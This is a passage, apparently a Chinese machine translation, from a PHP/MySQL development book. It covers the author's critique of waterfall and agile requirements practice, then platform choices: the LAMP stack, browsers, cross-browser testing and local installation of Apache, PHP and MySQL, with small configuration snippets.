就我个人而言,在我 45 年的软件开发生涯中,我从未参与过完全遵循瀑布模型的项目,尽管我参与过许多将集成和验证(测试)保存到最后的项目,正如你所料,这总是一场灾难。
瀑布方法或者其他类似方法的另一个问题是,处理需求很困难。正如我在本章中所展示的,一开始就知道所有的需求是不可能的,而且,对于像用户界面这样的领域,假装知道是有害的。然而,你确实知道很多,而且你所知道的肯定应该在一开始就被记录下来。但是在开发过程中,必须有一种方法来结合需求的演化,或者可能是彻底的改变。
大约十几年前,一群开发人员将敏捷软件开发正式化,直接反对瀑布方法,主要是为了处理我提到的两个问题:进化需求和最终的集成/测试。虽然有很多不同的敏捷方法,但最重要的是
- 将项目分成非常短的(比如一周)固定长度的增量,在每个增量的末尾有一个可交付的系统。
- 只为每个增量建立需求,因此允许在整个项目中任意的改变。
- 与客户代表持续沟通,最好是在开发团队中。
- 开发团队成员之间的日常交流。
- 连续单元测试和集成。
多年来,我一直在实践#1、#3、#4 和#5 的变体,却对敏捷方法一无所知。在 20 世纪 70 年代中期,我们贝尔实验室的一群人开发了程序员工作台,它使用当时新的 UNIX 系统作为大型机程序员使用的开发工具的平台。在开始的时候,几个刚完成一个大型军事项目并希望形式化需求的开发人员和包括我在内的几个人之间有一场激烈的争论,他们对如何处理软件项目的态度要宽松得多。我们赢了。
所以,当我了解敏捷方法时,我就像莫里哀的中的角色,那个资产阶级绅士发现自己“一生都在说散文,却不自知!”
敏捷中让我感到不舒服的部分是,你一次只能开发一周的需求。真的吗?是的,是真的。敏捷知识分子对需求只有蔑视。
例如,在他的书敏捷武士中,Jonathan Rasmusson 说,“无论你收集什么需求,都保证会改变。”他的意思是,如果 CWA 办公室告诉我,他们需要参与者提交的主题列表,格式与他们多年来使用的格式完全相同,那么主题列表的格式肯定会改变?学校董事会批准的理查森学区成绩单规范肯定会改变?数百家 AP、Kroger 和 Safeway 商店张贴的超市收银员轮班时间表肯定会改变?不,这些不会改变,它们应该在项目开始时与其他已知的东西一起记录下来。在任何编码开始之前,它们应该是初始规划、分析和设计的一部分。
这里还有另一个例子:在关于敏捷方法的开创性著作中,极限编程解释道:拥抱变化,Kent Beck 说,“在用于描述需求的数千页中,如果你交付了正确的 5%、10%或 20 %,你将有可能实现为整个系统设想的所有商业利益。那么剩下的 80%是什么呢?不是要求——它们不是强制性的或必须的。”我想不出有哪一个项目能够满足 20%的需求,甚至 75%的需求。我可以跳过年级的哪一部分?列出所有的学生?教师登录?输入成绩?允许老师评论?打印成绩单?不,在学区部署系统之前,我必须实现 100%的要求。作为商业软件,SuperSked 可能已经满足了 90%的需求。CWA 数据库项目,可能也是 90%,因为我们已经在第一年将其精简到最低限度,明年我们会做得更多。
因此,当谈到需求时,我认为敏捷作者和顾问要么夸大了戏剧性的效果,要么他们真的相信这就是软件项目应该运行的方式。如果是后者,他们就大错特错了。
总之,足够的敏捷抨击。如果你正在使用敏捷方法,我将只提出我对你应该如何处理需求的看法,而把整理争论的工作留给下一次。(我希望我已经说得很清楚了,当涉及到客户交流、团队交流、单元测试、持续集成和频繁交付时,敏捷人员完全在正确的轨道上。)
用图来做吧。首先,图 2-7 显示了一个严格的瀑布序列,图 2-8 显示了敏捷迭代。
图 2-7 。瀑布项目
图 2-8 。敏捷项目
有一些严格的瀑布方法可能适用的项目,以及非常小的、非正式的项目,比如我前面描述的 Arzano Ranch,适合严格的敏捷方法。但是,一般来说,没有一个是合适的:瀑布式太死板和理想化了,敏捷缺乏整体计划。没有整体计划,就没有办法估计完成日期或预算,没有办法提出一致的数据库设计,也没有办法通过用通用编码处理类似的功能来利用开发,除非这些功能出现在同一次迭代中。
实际上,我不相信任何项目会使用严格的敏捷方法,尽管大师们宣扬什么。图 2-9 展示了项目真正做的事情,以及我控制项目时一直做的事情。由于每个人都喜欢想出自命不凡的名字,我将把我的方法称为计划敏捷:你从计划/分析/设计阶段开始,在这个阶段你处理高层次的需求,但是你迭代地做低层次的计划/分析/设计工作。
图 2-9 。计划中的敏捷项目
重复我自己,我并不声称计划的敏捷方法是原创的。恰恰相反:几乎所有的敏捷项目都是这样做的,但是出于某种原因,他们不愿意承认这一点。
一周的迭代不一定是一周;对于许多项目和团队来说,太短是没有效率的,就像十字路口的交通灯太短是没有效率的,因为它需要时间来进行下一次迭代。
在最初的计划/分析/设计阶段发生了什么?尽可能地记录需求,列举用例,根据需求运行用例,设计数据库,构建实现,决定平台和工具(第三章)。在整个项目中,当团队成员专注于他们的迭代时,有人——不一定是整个团队——必须管理整个计划。在敏捷术语中,每个迭代的计划来自于从 backlog 中选择故事。在有计划的敏捷中,有一些是这样的,但是也意识到整体计划应该决定攻击的顺序。
如果你不相信我,有计划的敏捷是敏捷项目实际做的,或者应该做的,那就去看看两本权威的书,虽然读起来冗长乏味,但它们强调敏捷需要一个全面的计划。
- Dean Leffingwell,敏捷软件需求:团队、项目和企业的精益需求实践 (2010)。
- 巴里·博姆和理查德·特纳,平衡敏捷性和纪律性:困惑者指南 (2003)。
敏捷的其他部分呢:结对编程、每日 scrum、sprints、烧毁图表等等?我没有尝试过其中的大部分,但我猜它们是有效的工作方式。与拥有一个强大的团队、与客户一起工作以获得正确的需求以及持续集成的效果相比,无论您做它们还是其他事情,都不会对项目产生太大的影响。这是三大趋势。
章节总结
- 对于 PHP/MySQL 项目,您可以将您的需求文档分为 17 个部分(参见前面的详细内容)。
- 最初的需求应该确定项目的范围,但不一定包括所有的细节。
- 用例是需求中最重要的部分。
- 在问题跟踪器中记录所有需求变更。
- 将需求保存在引用需求变更问题的文本文件中。
- 定期修改需求文档以包含变更,但仍然引用相关的问题。
- 敏捷软件开发是一个很好的方法,但是它应该在项目的开始和整个过程中通过计划/分析/设计来增强。
三、平台和工具
如果你建造了空中楼阁,你的工作不一定会失败;那是他们应该在的地方。现在把地基放在它们下面。
—亨利·大卫·梭罗
如果城堡是需求,那么它们下面的基础就是实现它们的平台。该平台有四个主要部分:操作系统、web 服务器、数据库(MySQL)和语言编译器/解释器(PHP)。那在服务器上。因为这些是 web 应用,所以它们是从另一个平台访问的,客户端有两个主要部分:操作系统和浏览器。您在运行您的开发工具的第三方平台上进行开发。
在本章中,我将介绍所有三个平台,并讨论每个组件的各种选择。我还谈到了开发人员工具和将正在运行的应用更新到新版本的棘手工作。这构成了本书其余部分的基础,其余部分是关于开发应用本身的。
如您所见,我喜欢主流技术,平台和工具也是如此。它们要么已经安装,要么很容易安装,并得到书籍和网站的良好支持,几乎所有的错误都在咬我之前被压扁了。
客户端-服务器架构
图 3-1 显示了一个典型的 PHP/MySQL 客户端-服务器架构,以及用于构建和测试它的开发平台。
图 3-1 。客户端-服务器-开发架构
服务器上涉及两个进程(或任务):数据库(对我们来说是 MySQL)和 web 服务器(通常是 Apache 或 Microsoft IIS)。PHP 处理器在 web 服务器的控制下运行,并执行组成应用的 PHP 文件。服务器框中的四个标签对应着所谓 LAMP 栈的元素:操作系统(Linux)、web 服务器(Apache)、数据库(MySQL)和语言(PHP)。正如我将要解释的,第一个不一定是 Linux,第二个不一定是 Apache。一般来说,最后两个不一定是 MySQL 和 PHP,但它们在本书中,因为这是我们的重点。
通常有许多应用在客户端运行,但是我们只关心连接到运行 PHP 应用的 web 服务器的浏览器。
因为您是开发人员,所以您也关心开发平台,它至少由两个基本的应用组成:一个可以创建和修改 PHP 文件的编辑器和一个可以将这些文件复制到 web 服务器的传输实用程序,通常是 FTP(文件传输协议)或 SFTP(安全文件传输协议)实用程序,有时内置于编辑器中。
在开发系统上复制整个服务器平台是很方便的,这样 PHP 文件就可以被编辑器直接访问,这样你就可以在本地运行应用。为此,有必要在开发计算机上安装一个服务器平台,然后在该计算机上打开一个浏览器与应用进行交互。图 3-2 说明了这一过程。当应用准备好部署时,一个 FTP 实用程序将 PHP 文件复制到远程服务器,如图图 3-1 所示。
图 3-2 。具有本地服务器的开发系统
这是对正在发生的事情的高度概括。本章的其余部分是关于细节的。
服务器平台
当然,服务器平台运行在操作系统上,而在操作系统上运行着 web 服务器和数据库系统 MySQL。对我们来说,web 服务器是用 PHP 编程的,我将给出为什么这几乎总是我的选择,以及许多其他人的选择的原因。
灯组
“LAMP”是 Linux-Apache-MySQL-PHP 栈的一个聪明的术语,但严格来说它不是一个栈,因为,虽然 web 服务器肯定运行在操作系统下,PHP 运行在 web 服务器上,但数据库直接运行在操作系统上,独立于 web 服务器。(另外两种流行的语言也是以字母 P 开头的:PERL 和 Python,所以有时候 LAMP 中的 P 就是指其中的一种。)
我对术语“LAMP”还有另一个挑剔之处:在实践中,操作系统(OS)是什么形式的 UNIX 并没有太大的区别——就我作为应用开发人员而言,BSD 和 Solaris 的行为类似于 Linux,尽管在如何管理、购买和部署这些系统方面存在显著差异。Windows 也是一个常用的服务器操作系统,尽管这个选择会对你的应用有所影响。
最后,根据w3techs.com
的数据,虽然 Apache 运行着超过 60%的网站,但剩下的 40%大部分被微软的 IIS 和 Nginx 瓜分。与操作系统一样,您的编码不会受到太大影响,但是与应用如何设置相关的一些问题会受到影响,我将对此进行解释。
我所有的例子都是针对类 UNIX 操作系统和 Apache 的,我会确保在关键的时候我清楚这一点。
所以,本质上,我们关心的是 LAMP 的 MP 部分,P 代表 PHP。本书中 99%的内容适用于任何运行 PHP/MySQL 的平台。
服务器操作系统
根据到w3techs.com
的数据,65%的网站运行在某种形式的 UNIX 上,另外 35%运行在 Windows 上。外面真的没有别的东西了。(他们单独列出了 Mac OS,但就 PHP/MySQL 开发而言是 UNIX。)
我将各种 UNIX 变体称为 *nix 系统。购买、支付、安装和管理操作系统是不同的,这取决于它实际上是何种形式的nix。Linux、BSD、Solaris 和其他版本是不同的,甚至各种 Linux 发行版(Red Hat、Ubuntu、Debian 等)之间也有差异。).但是,从 PHP 程序来看,所有的nix 系统都是一样的。你所要担心的是你是在其中一个上还是在 Windows 上。
*nix/Windows 在 PHP 级别上有四个不同之处。
- 路径和文件名的差异。
- 文本文件中不同的行尾。
- 影响一些 PHP 函数的 API(应用接口)差异。它们在 PHP 文档中有明确的说明。
- 从 PHP 程序或直接从 shell 或命令处理器执行的命令行。
主要路径和文件名的区别如下:
- Windows 总是不区分大小写,但*nix 通常不是。为了确保你的程序在任一个上运行,总是要区分大小写。如果文件名是
login.php
,就不要用Login.PHP
来指代。 - 在绝对路径中,您可能必须在 Windows 上使用驱动器号(例如,
D:/site/login.php
)。 - 在大多数 PHP 函数中,Windows 接受路径中的正斜杠,但是在用户交互提供的路径中或者当您从文件中读取路径时,您可能会得到一个反斜杠。每当我在 Windows 上输入路径时,我通常会将反斜杠转换成正斜杠。
原生 Windows 文本文件使用回车/换行符(\r\n
)作为行尾,其中nix 只使用一个换行符。然而,这两种格式在两种系统上都是通用的,所以这实际上不是一个nix/Windows 问题;这是一个你需要一直关注的问题。
我在运行于 Mac OS (a *nix 系统)和 Windows 系统上的本地应用中处理了很多 Mac OS 和 Windows 系统的差异,但从未在我的 PHP/MySQL 应用中处理过,因为我设法避免在 Windows 服务器上运行。然而,你的生活可能没那么简单。
如果你从众多商业共享主机公司中的一家获得商业虚拟主机,他们几乎总是会使用 Linux 或 BSD,有时 Windows 是额外收费的选择。坚持使用更便宜的 Linux 或 BSD 主机。
网络服务器
尽管 Apache 也可以在 Windows 上运行,但在*nix 系统上,您几乎总是将 Apache 用作 web 服务器,在 Windows 系统上,您总是将 IIS 用作 web 服务器。
Apache 配置很难学,但是对 PHP/MySQL 程序员来说有两个好处。
- 除了偶尔编辑一个
.htaccess
文件来为一个目录建立选项之外,很少需要直接使用 Apache。 - Apache 的应用如此广泛,以至于如果你在谷歌上搜索你正在处理的任何问题,你通常都会找到答案。你不会一个人受苦。
撇开可用性问题不谈,Apache 高效、可靠、廉价、文档完善且无处不在,因此它是我的首选 web 服务器,优势非常明显。
Apache 的主要接口是它所使用的文件系统。每个网站在服务器上都有一个文档根目录,你的 PHP 文件需要放在这个根目录下,或者它的子目录中。例如,在我的主网站basepath.com
上,文档根目录是
/home/rochkind/public_html
如果我用 FTP 实用程序将文件login.php
复制到那个目录,我可以通过请求 URL 从浏览器运行那个 PHP 程序。
http://basepath.com/login.php
我通常在我的网站上运行许多应用,所以我把它们放在文档根目录下的子目录中,然后通过域名后面的路径将用户定向到一个 URL。例如,我的站点 Classic Cameras 位于/home/rochkind/public_html/ClassicCameras
,因此 URL 是http://basepath.com/ClassicCameras
。(试试吧——这是一个真实的网站。)
我可以将 Apache 配置为将 URL http://ClassicCameras.basepath.com
指向站点/home/rochkind/public_html/ClassicCameras
,但是我通常不会这么做,因为链接总是出现在某个网页或电子邮件中,我的客户并不真正关心 URL 的外观。
如我所说,*nix 系统通常使用区分大小写的文件名,因此,虽然 URL 的域部分总是不区分大小写,但路径部分却不区分。所以,http://basepath.com/classiccameras
是行不通的。如果这是一个问题,您也可以创建那个目录,这样您的网站上就有了大写和全小写的目录,然后用一个名为 index.php 的 PHP 文件将小写的目录重定向到真实的目录,如下所示:
<?php header('Location: http://basepath.com/ClassicCameras/ '); ?>
将classiccameras
重定向到ClassicCameras
的一种更优雅的方式是将 Apache 配置为在根目录下名为.htaccess
的文件中放置一个重写规则,其中包含以下内容:
RewriteEngine on
RewriteRule ^classiccameras/?$ ClassicCameras/
这意味着,如果域名(basepath.com
)后面的 URL 匹配classiccameras
(可选地后跟一个斜杠),它应该被替换为ClassicCameras/
,这是一个区分大小写的名称。(在正则表达式符号中,^
和$
在开头和结尾锚定匹配,以防止只匹配用户键入的部分内容。)
总结这一节:有时您必须在某种程度上处理 Apache(或您的 web 服务器),但在大多数情况下,您可以不去管它,完全用 PHP 做您需要做的一切。
数据库系统
有许多用于 web 应用的 SQL 数据库系统,我使用过所有主要的系统,包括 Microsoft SQL Server、Oracle、IBM DB2、PostgreSQL,当然还有 MySQL。前三个是优秀的商业系统。PostgreSQL 是一个开源系统,其起源比 MySQL 早得多,但它的使用不如 MySQL 广泛,尽管许多托管公司提供它作为一个选项。
在过去,MySQL 支持如此有限的 SQL 形式,以至于对于被 Oracle 或 PostgreSQL 等更完整的系统宠坏的数据库专业人员来说,使用它很烦人。但是最近的版本改变了这一点,我现在发现它拥有我想要的一切,除了检查条件。我在第四章中对此进行了更深入的探讨。
我更喜欢 MySQL 的原因很简单,如果我只使用一套平台技术,我会觉得生活更容易,而且因为 MySQL 总是在那里,并且工作得非常好,它总是我的第一选择。我在这本书里说的关于数据库的很多内容也适用于其他书,但是我认为如果这本书只讨论一个数据库系统,它会更容易阅读,也更有用。我在前两章中提到过几次的 Rgrade 应用使用了 Oracle,这是一个很好的工具。它很贵,但是在我到那里之前,理查森学区已经标准化了。对理查森来说是好事。
Sun Microsystems 在 2008 年收购了 MySQL,大约两年后甲骨文收购了 Sun,所以现在,有点讽刺的是,甲骨文拥有 MySQL。尽管有人担心 Oracle 可能会忽视 MySQL 的开发和/或支持,以免影响 Oracle 的销售,但它并没有这样做,MySQL 仍然一如既往地可行。尽管如此,这种情况还是让人有些不安,所以 MySQL 的原始作者们采用了开源的 MySQL 代码,并开发了一个名为 MariaDB 的兼容系统,旨在与它实现二进制兼容。由于 MySQL 仍然是托管公司和云服务器最广泛支持的版本,所以我用的是这个版本。
尽你所能确保你使用的至少是 MySQL 5.5 版本,因为这是我在本书中假设你拥有的版本。这是 MySQL 在 2013 年年中撰写本文时的状态。当然很快就要上 5.6 了,以此类推。如果您的应用是新的,从最新的稳定版本开始。
非常高性能的网站不会向数据库发送 SQL 查询,因为这需要太多的处理时间,并且很难缓存结果以供其他查询重用。他们使用所谓的 NoSQL 数据库,如 MongoDB 或 CouchDB。使用它们超出了本书的范围,所以我不会深入讨论它们。对于普通的 web 应用,您希望使用 SQL。MySQL 的性能将绰绰有余。
服务器编程语言
几年前,在一次联邦法庭诉讼中,我作为一名技术专家被免职,当时有人问我使用过什么编程语言。我想我一定有超过 30 个名字,因为我从 1967 年就开始编程了。我已经使用了所有主要的工具,以及许多外来的工具,比如 APL、Algol、B(C 的前身)、LISP、Lua、PL/I、Scratch 和 SNOBOL4。我用大多数流行的网站语言编程,比如 Java、PERL 和 Python。
那么,为什么是 PHP 呢?毫无疑问,它远不如 Java、Python 或 Ruby 优雅。在每个变量名前使用一个$
是荒谬的。函数名乱七八糟。我想自从我开始使用这种语言以来,他们已经改变了推荐的 MySQL 函数至少三四次。(我将在本书中使用 PDO。)语言本身还可以,但是做同样事情的方式太多,显得臃肿。
好吧,这就是不好的地方。这是好东西。
- PHP 一直都在。我从来没有发现一个托管公司不提供它。Java 有时是额外付费的选择,如果它可用的话,而 Python 和 Ruby 通常是不可用的。PERL 和 PHP 一样普遍,但它是一种更糟糕的语言。
- 它很快。它被广泛使用,因此有很多优化,尤其是在与 Apache 一起使用时。
- 它有一个非凡的扩展集合,允许它处理几乎任何 web 应用。
- 每个网络服务(亚马逊、脸书、Flickr 等。)有一个 PHP 接口。如果不支持 PHP,他们知道他们的支持是不完整的。相比之下,他们可以忽略 Python 和 Ruby。
- PHP 社区是所有编程语言中最大的,这意味着有书(像这本!)、培训课程、论坛,以及像
stackoverflow.com
(我的最爱)这样的支持网站上的无数帖子。
基于这些原因,w3techs.com
报告称,PHP 在几乎 80%的网站上使用。(.NET 是 20%,Java 是 4%;有些网站使用多种语言。)
所以,既然我可以并且已经使用了几乎所有存在过的语言,那么 PHP 的答案是,它使用起来足够愉快,总是可用,非常好的支持,并且几乎总是有一个函数来做需要做的事情。我喜欢把事情做完。
你还将使用另外三种语言,因为 web 应用开发人员总是使用至少四种语言。另外三个是
- HTML(包括 CSS),
- JavaScript,以及
- SQL,与数据库对话。
HTML 和 JavaScript 在浏览器中运行;从不在服务器上。SQL 从你的 PHP 程序传递到数据库,或者有时直接在数据库上使用,所以它是一种服务器语言。
客户端平台
您对服务器有一定的控制权,甚至可能是完全的控制权,但对客户端却没有。也许对于内部网站来说是这样,但是,即使这样,员工还是会在家或在路上访问您的应用。IT(信息技术)力量可以让它成为他们所希望的 Windows 商店,但他们不可能将 iPhones 和 iPads 拒之门外。您可能希望通过只支持有限数量的客户端平台来使事情变得简单,但是您不能。
客户端操作系统
幸运的是,作为应用开发人员,您并不关心客户端操作系统。自然,它对大多数用户来说都很重要,至少在他们选择电脑的时候是如此:Mac、Android 或 iOS 手机或平板电脑、Windows 电脑、ChromeBook 等等。但是,除了客户端路径名看起来像什么之外,实际上没有任何操作系统特定的东西影响浏览器与 PHP 应用的交互,甚至那些路径名也很少传递给 web 应用,因为 web 应用对它们无能为力。
因此,所有的客户端兼容性问题都将与浏览器相关。
浏览器
真是一团糟!有五种广泛使用的浏览器:Chrome、Internet Explorer、Firefox、Safari 和 Opera,按受欢迎程度排列。这仍将约 10%的市场留给了其他公司。此外,还有多个版本在使用。当浏览器已经安装在操作系统上时,如 Internet Explorer (Windows)或 Safari (Mac OS),使用的版本很可能与计算机一样旧,因为许多用户从未升级他们的操作系统,甚至不知道浏览器是一个独立的应用。不厌其烦地安装浏览器(Chrome、Firefox 或 Opera)的人更有可能不时地更新它。
Opera 的使用份额只有 2%,所以如果你想的话,你可以只支持四种浏览器。
处理浏览器变体
因为浏览器中使用的 HTML 和 JavaScript 在最近几年发展如此之快,浏览器即使是一两个旧版本的行为也可能与新版本大相径庭。考虑到广泛使用的大多数浏览器可能有三到四个版本,如果你想确保你的应用为 90%的用户工作,你将有大约 20 种浏览器变体要处理。
有几种方法可以解决这个头疼的问题。
- 坚持使用简单的 HTML 而不是 JavaScript。多年来,我在书桌旁放了一本非常旧的 HTML 3.2 参考书,并把自己局限于此。这在一段时间内是可以的,但是现在用户期望更复杂的网站,所以你必须使用最新的 HTML,否则你的网站会看起来很笨重。
- 见鬼的 90%。限制您支持的浏览器和/或版本的数量。这对于您组织内部使用的内部应用或者用户很少的应用来说可能是可以的。
- 忽略问题。当用户抱怨时,尝试修复 bug。如果你不能解决它,假装你从未听说过它。
- 使用一种可以解决浏览器不兼容问题的技术,比如 jQuery。
第三种选择是最常见的,除非网站是真正的一流网站(例如,亚马逊、脸书和雅虎)。第四个是迄今为止最好的;这正是 jQuery 要解决的问题,而且它做得很好。
jQuery 的大部分使用将独立于 PHP 代码,因为它将用于没有混合 PHP 代码的页面的静态部分。尽管如此,它是应用的一部分,所以你有责任把它做好。
即使您使用 jQuery,也要小心声称支持您没有测试过的任何浏览器/版本组合。大多数网站和应用对此保持沉默,这可能就是原因。建立所有的测试环境并在网站发生变化时运行测试需要做大量的工作。(参见“获取用于测试的浏览器”一节)
一个简单的想法是,如果你的团队有几个成员,让每个人在开发过程中使用不同的浏览器,因为这是大多数错误被发现的时候。理想情况下,一个或多个用户正在使用 Windows,并且可以使用 Internet Explorer。Windows 也运行所有其他流行的浏览器,包括 Safari。除了 Internet Explorer,MAC 电脑运行所有的浏览器,而在流行的浏览器中,Linux 只运行 Chrome、Firefox 和 Opera。如果只是你,你可以试着在不同的日子运行不同的浏览器。
Chrome、Safari 和 Opera 使用相同的渲染引擎(HTML/JavaScript 处理器)WebKit,因此它们比任何一个都更兼容 Firefox 或 Internet Explorer,后者使用自己的渲染引擎。但是,即使共享渲染引擎的浏览器在其他方面也有所不同,所以您仍然必须在浏览器本身上进行测试。此外,Chrome 和 Opera 正在转向一个新的渲染引擎,Blink,这是从 WebKit 中分出来的,所以事情将开始出现更大的分歧。
如果您的测试资源有限,但您的应用是供公众使用的,因此必须在所有流行的浏览器上运行,您可能会像我一样,因为我通常处于这种情况:我使用运行在 Mac 上的 Chrome 进行开发,并经常使用 Safari 进行测试,Safari 也在那里。我在附近放了一台 Windows 电脑,这样我就可以用 Internet Explorer 进行测试,我把它保存在版本 8 中,假设微软会保持版本 9 和 10 与版本 8 的大部分兼容,它已经做到了。我从来不用 Firefox 或 Opera,或者其他版本的 Chrome、Safari 或 Windows 进行测试。这对我有用,因为我的网站在开发 HTML 和 JavaScript 的程度上相当谨慎,尽管我使用 CSS。但不要只是模仿我。您的应用是不同的,您的浏览器需求也是不同的。
在第二章中,我解释了在需求中限制浏览器选择的好处。现在你知道为什么了:需求中的任何东西都可能是客户验收测试的一部分,这意味着你也必须对它进行测试。最好少点,多点。
浏览器扩展
我在这里有这个部分,所以我可以说:不!!!没有 Flash,没有 SilverLight,没有 Air,没有 ActiveX,没有 Java。原因如下。
- 他们并不总是可用的。比如:iPads 和 iPhones 不运行 Flash。没有非 Windows 计算机运行 ActiveX。(不管怎么说,也不是没有很大的麻烦。)
- 用户将不会安装正确的扩展或版本,他们不会知道他们没有,你的应用将会失败。
- 它们使得用浏览器测试驱动程序(如 Selenium)进行测试变得非常复杂。
- 大多数扩展都存在安全问题。其他客户端技术也是如此,但是你处理的越少,你就越有可能堵住漏洞。
- 你不需要任何扩展。现代的 HTML 可以做过去只有通过扩展才能完成的事情,比如播放视频。
JavaScript 不是一个扩展;这是 HTML 的标准部分。(以防你不知道,JavaScript 和 Java 是完全不同的语言,在浏览器中扮演着完全不同的角色。)
请注意,我只是针对运行在浏览器中的客户端 Java 发出警告。客户端应用,如 NetBeans,我将在本章后面讨论,有时是用 Java 编写的,这完全没问题,与浏览器中的 Java 无关。服务器上的 Java 也无关,也 OK。只是作为浏览器插件,Java 是有问题的。
获取用于测试的浏览器
验证你的应用在特定的浏览器版本上工作的唯一可靠的方法是在那个版本上测试它。正如我提到的,这可能有很多版本,20 个或更多。因为大多数浏览器一次只允许安装一个版本,而且让大量的计算机在周围是不切实际的,所以有三种选择。
- 打破常规,运行多个版本,即使供应商不支持它们。稍微在网上搜索一下,你会发现很多这样做的窍门。
- 以正确的方式运行虚拟机。您可以在同一个虚拟机上运行不同的浏览器,只是不能运行同一个浏览器的不同版本(除非您执行#1),因此您不需要为每个浏览器和版本运行单独的虚拟机。微软在
modern.ie
提供随时可用的虚拟机映像。(那是一个使用爱尔兰顶级域名的网址。聪明吧。) - 使用为您运行浏览器版本的浏览器测试服务。例如,
saucelabs.com
在 iOS、Android、Windows、Mac OS、Linux for Chrome、Internet Explorer、Firefox、Safari 和 Opera 上提供了超过 160 种设备/浏览器/版本组合。酱油实验室有一项免费服务,每月给你大约 200 分钟的测试时间。酱油实验室不是唯一的选择;这一行有很多行头。
如果你运行自己的虚拟机,你可以从oldapps.com
获得所有旧版本的浏览器,或者,对于 Windows,从modern.ie
获得。
另一种选择是使用内置于最新版本的 Internet Explorer 中的兼容模式,这种选择不如用实际的浏览器进行测试好。例如,版本 10 允许您使用模拟版本 7、8 和 9 的模式进行测试,在较小的程度上还可以模拟版本 5。(因为某些原因没有 6 版。)
客户端编程语言
您希望在从 PHP 应用发送到浏览器的代码中使用的语言是 HTML、CSS 和 JavaScript,它们是现代网站的标准。一些 JavaScript 将采取调用 jQuery 函数的形式,但那仍然是 JavaScript,而不是新语言。不要使用任何其他客户端语言。无论如何,如果你不使用任何浏览器扩展,你就做不到,我已经尽力让你远离了。
(我在前一章中使用了一点 Markdown,但那是在服务器上。在那个例子中,进入浏览器的是纯 HTML。)
如果你很小心并且做了大量的测试,你可以使用最新的 CSS 特性,同时仍然允许你的网站在旧的浏览器上正常运行。例如,我的网站basepath.com
使用了圆角矩形和虚线,但是它们在一些浏览器上显示为普通矩形和实线。这仍然适用于我的设计,只是没那么漂亮了。CSS 通常都是这样,这也是为什么所有的样式都应该用 CSS 而不是 HTML 来完成的原因之一。
开发平台和工具
正如我所说的,最小的开发平台是一台运行文本编辑器、FTP 实用程序和浏览器的计算机。几乎任何一台计算机都足够了,因为这三种工具都是内置的。但是你不想要最小的。你整天都在你的开发平台上,所以你希望它比这好得多。
开发操作系统
如果你的开发操作系统就像你的生产服务器操作系统——或者都是nix 或者都是 Windows——你最好能够在开发过程中找到操作系统的依赖关系(如果有的话)。此外,如果您的生产 web 服务器是 IIS,您将无法在您的开发系统上运行它,除非它是 Windows。(记住 Mac OS 是nix 系统。)
然而,即使您的生产系统是*nix,让您的开发系统成为 Windows 也有一个好处:您可以使用 Internet Explorer 作为您的主要开发浏览器,这是我前面提到的优点,您也可以安装所有其他流行的浏览器。这可能比保持开发和生产操作系统不变更重要。
如果您的开发团队中有几个人,并且生产系统是nix,那么让团队中的一些人使用 Windows 作为开发系统,而其他人使用nix 是有意义的。如果生产系统是 Windows,每个人都可以使用 Windows,因为所有主要的浏览器都在 Windows 上运行。
这里有一个更简洁的建议:至少有一个开发者应该使用 Windows。如果生产 OS 是nix,有些开发者应该也会用nix。
如果只有你们一个人,那就更简单了:使用 Windows 进行开发。
当然,我非常清楚,如果你可以自由选择,如果你是为自己工作,你就会完全无视我的建议,选择你最喜欢的系统。我从未遇到过对此没有强烈意见的开发人员。我只是想说出利弊。我也不希望看到随着越来越多的开发者被 MAC 所吸引,Internet Explorer 被忽视,就像过去几年发生的那样。
对我来说,我做的不是很好:我在 Mac 上开发,只是打开 Windows 进行测试。
无论您选择什么,我在本节中讨论的所有开发工具都可以在 Windows、Mac OS 和 Linux 上运行,Apache 也是如此,所以这不会成为您决策的一个因素。
安装 Web 服务器、MySQL 和 PHP
正如我稍后详述的, 您可以选择一个已经安装了 web 服务器、MySQL 和 PHP 的生产托管服务,但是,对于开发,您可能必须自己安装它们。
Apache 和 PHP 是 MAC 自带的,但是,据我所知,PHP 已经过时了。你得自己下载安装 MySQL。(以前是 MAC 自带的,现在没有了。)你可以从mamp.info
网站免费下载一个软件,然后把这三个软件安装在一起。(XAMPP 是另一个选择。)启动并运行之后,确保默认的 PHP 路径(/usr/bin/php
)链接到 MAMP 路径,在终端中键入类似以下的命令(您的 MAMP 路径可能不同):
sudo mv /usr/bin/php /usr/bin/php-old
sudo ln /Applications/MAMP/bin/php/php5.4.10/bin/php /usr/bin/php
每次更新 Mac OS 时,不要忘记再次执行此操作。
Windows 自带 IIS,但没有 Apache、PHP 或 MySQL。我还没有找到一个相当于 MAMP 的 Windows 和 IIS 版本;我找到的那个有过期的部件。所以,这就是我们要做的。
- 从控制面板上程序和功能小程序的“打开或关闭 Windows 功能”部分安装 IIS。
- 按照 PHP 网站
php.net/manual/en/install.windows.php
上的说明安装 PHP for IIS。棘手的部分是让它与 IIS 一起工作,但这样做的说明是存在的。 - 从
dev.mysql.com
安装 MySQL。MySQL 不用配置 IIS 或者 PHP 一旦安装并启动,您就可以连接到它。
如果你想在 Windows 上运行 Apache,你很幸运:在wampserver.com
有一个比上面描述的 MAMP 更容易使用的 WAMP。它自动设置 Apache、PHP 和 MySQL,并提供一个任务栏通知图标来管理它们。(XAMPP 也有空。)
如果你的开发系统是 Linux,你就无所畏惧了,对吧?所以,你可以自己安装栈的 AMP 部分。谷歌“在 Linux 上安装 LAMP”获取说明。如果您愿意,可以用您的发行版替换“Linux”,如“在 Red Hat 上安装灯”
您可以验证 PHP 和 MySQL 正在使用清单 3-1 中显示的程序。
清单 3-1 。验证安装工作的程序
define('DB_HOST', 'localhost');
define('DB_PORT', '3306');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', '...');
try {
$dsn = 'mysql:host=' . DB_HOST . ';port=' . DB_PORT;
new PDO($dsn, DB_USERNAME, DB_PASSWORD);
}
catch (PDOException $e) {
die($e->getMessage());
}
echo "<p>PHP/MySQL is working!";
phpinfo();
这个程序实例化了一个新的连接到 MySQL 的 PDO 对象。如果程序运行,你有 PHP。如果创建了对象,您就拥有了 MySQL 并可以连接到它。如果实例化失败,PDO 类将抛出异常。
如果一切顺利,当你从浏览器访问这个 PHP 程序时,你将得到类似于图 3-3 的东西。
图 3-3 。验证的输出
如果一切都不顺利,脚本将无法正确执行,这意味着以下情况之一是错误的:
- web 服务器没有运行。
- URL 是错误的,很可能是因为 PHP 文件没有正确地位于 web 服务器的文档根目录中。
- PHP 没有安装在 web 服务器上。在这种情况下,您可能会看到您的 PHP 代码显示在浏览器中,就好像它是一个坏的 HTML。
- 您将看到一条 PHP 错误消息,因为脚本中有一个错误。
